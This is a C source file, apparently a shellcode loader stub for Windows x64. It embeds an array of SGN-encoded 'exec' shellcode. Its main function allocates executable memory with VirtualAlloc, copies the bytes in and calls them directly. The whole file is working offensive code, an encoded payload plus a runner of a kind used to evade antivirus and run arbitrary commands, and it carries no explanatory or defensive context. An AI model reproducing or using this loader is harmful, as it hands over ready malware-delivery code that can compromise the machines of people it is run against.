stub.c

#include <windows.h>

// SGN encoded windows/x64/exec shellcode 
unsigned char shellcode[] = {
  0x55, 0x48, 0x89, 0xe5, 0x48, 0x83, 0xec, 0x20, 0x48, 0x89, 0xec, 0x5d,
  0xeb, 0x01, 0xfc, 0xe8, 0x33, 0x01, 0x00, 0x00, 0x62, 0x6d, 0x91, 0x56,
  0x51, 0x8b, 0xcb, 0x8a, 0x4d, 0xc2, 0x38, 0x67, 0x09, 0x00, 0x00, 0x15,
  0x00, 0x45, 0x30, 0x1c, 0x0a, 0x45, 0x02, 0x1c, 0x0a, 0xe2, 0xf6, 0x44,
  0xf2, 0xf9, 0x23, 0x12, 0xee, 0xa0, 0xdb, 0xbf, 0x8f, 0x67, 0xa7, 0xa7,
  0xa7, 0x27, 0x44, 0x95, 0xd4, 0x60, 0xb0, 0xdd, 0x0b, 0x23, 0x92, 0xbe,
  0xdb, 0x83, 0xe4, 0x36, 0x46, 0x08, 0x63, 0x01, 0x99, 0xcd, 0xa6, 0xf4,
  0xc4, 0x8a, 0xfd, 0x6f, 0xbf, 0xe7, 0x86, 0xad, 0xd7, 0x1d, 0x2e, 0x9f,
  0x46, 0xec, 0xdd, 0xdd, 0x09, 0xb5, 0x24, 0x54, 0x06, 0x2a, 0x88, 0xc9,
  0xf6, 0x3f, 0xb0, 0xf1, 0xee, 0xaf, 0x8d, 0x5c, 0x8c, 0x2d, 0x7c, 0x22,
  0x05, 0x17, 0x27, 0x28, 0x12, 0xae, 0xe4, 0xc5, 0x01, 0x8a, 0x0a, 0x82,
  0x82, 0x82, 0x72, 0x30, 0x35, 0xf5, 0x7d, 0x9a, 0xd0, 0xd1, 0xe1, 0xad,
  0x96, 0xde, 0xc6, 0x7c, 0xf7, 0xb7, 0x07, 0x4c, 0xad, 0x79, 0x12, 0xb4,
  0x02, 0xfd, 0xb2, 0xe3, 0x00, 0x24, 0x2c, 0x62, 0x5b, 0x0d, 0x3e, 0x8f,
  0xb6, 0xfc, 0xcd, 0xcd, 0x61, 0x9e, 0x5f, 0x84, 0x09, 0x46, 0x47, 0x76,
  0x8e, 0x8c, 0xf9, 0xf0, 0xba, 0x21, 0x6d, 0x49, 0xb9, 0xfa, 0x23, 0x08,
  0x7d, 0x15, 0x4d, 0xf5, 0x7e, 0x3e, 0x98, 0xd1, 0xd0, 0xfc, 0x18, 0x45,
  0xce, 0x32, 0x72, 0x20, 0x2b, 0x53, 0x4f, 0x04, 0xe5, 0xb5, 0xe2, 0x61,
  0x55, 0xdd, 0x95, 0x14, 0xc2, 0x73, 0xab, 0xca, 0x6a, 0x82, 0xdb, 0x01,
  0xb0, 0xe6, 0x17, 0x4c, 0xe9, 0x23, 0x6b, 0x10, 0xfc, 0xda, 0x1b, 0xb5,
  0x8a, 0x4a, 0x90, 0x21, 0x44, 0x9e, 0xc0, 0x2b, 0xb9, 0xae, 0x05, 0x04,
  0x03, 0xc2, 0x1f, 0x27, 0x9d, 0x9c, 0x9c, 0x9c, 0x9c, 0x9c, 0x9c, 0x9c,
  0x1c, 0x4a, 0xb7, 0x38, 0x39, 0x38, 0x38, 0xb6, 0x87, 0x3d, 0x0a, 0x7d,
  0x0c, 0x73, 0x62, 0x47, 0xfc, 0xe2, 0x17, 0x09, 0x5f, 0xde, 0x18, 0xbc,
  0xd1, 0x52, 0x2f, 0x2e, 0xfb, 0xb3, 0xa8, 0x6c, 0x34, 0x04, 0xfa, 0x76,
  0x7c, 0xfa, 0xc1, 0xd9, 0xa2, 0x57, 0xe2, 0x81, 0x52, 0xde, 0x2d, 0x47,
  0xb7, 0xec, 0xad, 0x90, 0xb4, 0xa3, 0x70, 0xd3, 0x2a, 0x80, 0x9b, 0x35,
  0xa0, 0x16, 0x73, 0x59, 0x55, 0x48, 0x89, 0xe5, 0x48, 0x83, 0xec, 0x42,
  0x48, 0x0f, 0x49, 0xc0, 0x48, 0x89, 0xec, 0x5d, 0x81, 0x29, 0x21, 0xba,
  0x1d, 0x0e, 0x41, 0x51, 0x41, 0xc0, 0xd1, 0x50, 0x41, 0x59, 0x81, 0x69,
  0x04, 0x8a, 0xc9, 0xb2, 0x89, 0x81, 0x69, 0x08, 0x4d, 0xc2, 0xec, 0xd9,
  0xeb, 0x01, 0xe7, 0xc1, 0x49, 0x0c, 0xd8, 0x51, 0xc3
};


int main(int argc, char const *argv[])
{
        char* BUFFER = (char*)VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        memcpy(BUFFER, shellcode, sizeof(shellcode));
        (*(void(*)())BUFFER)();
        return 0;
}